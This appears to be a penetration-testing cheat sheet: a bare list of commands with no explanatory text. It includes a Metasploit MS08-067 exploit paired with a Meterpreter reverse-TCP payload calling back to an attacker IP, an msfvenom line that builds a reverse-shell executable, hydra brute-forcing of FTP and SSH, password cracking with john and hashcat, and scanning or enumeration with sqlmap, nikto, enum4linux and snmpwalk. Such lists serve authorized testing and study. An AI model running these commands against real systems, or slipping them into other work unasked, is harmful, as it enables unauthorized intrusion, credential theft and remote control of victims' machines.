msfconsole

use exploit/windows/smb/ms08\_067\_netapi

set RHOST <target\_ip>

set PAYLOAD windows/meterpreter/reverse\_tcp

set LHOST <local\_ip>

exploit

searchsploit apache 2.4

sqlmap -u "http://example.com/page?parameter=value"

joomscan -u <http://example-joomla-site.com>

set RHOST 192.168.1.10 # Target IP

set PAYLOAD windows/meterpreter/reverse\_tcp

set LHOST 192.168.1.5 # Your IP

set LPORT 4444 # Your listening port

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.1.5 LPORT=4444 -f exe > payload.exe

db\_import /path/to/nmapscan.xml

john --format=descrypt --wordlist=mydictionary.txt hashedpasswords.txt

hydra -l user -P passlist.txt <ftp://192.168.x.x>

hashcat -m 0 -a 0 md5hashes.txt wordlist.txt

crunch 5 5 abcdefghijklmnop -o output.txt

ftp <target\_ip>

hydra -l username -P passwordlist.txt ssh://<target\_ip>

enum4linux -a <target\_ip>

snmpwalk -v2c -c public <target\_ip>

nikto -h http://<target\_ip>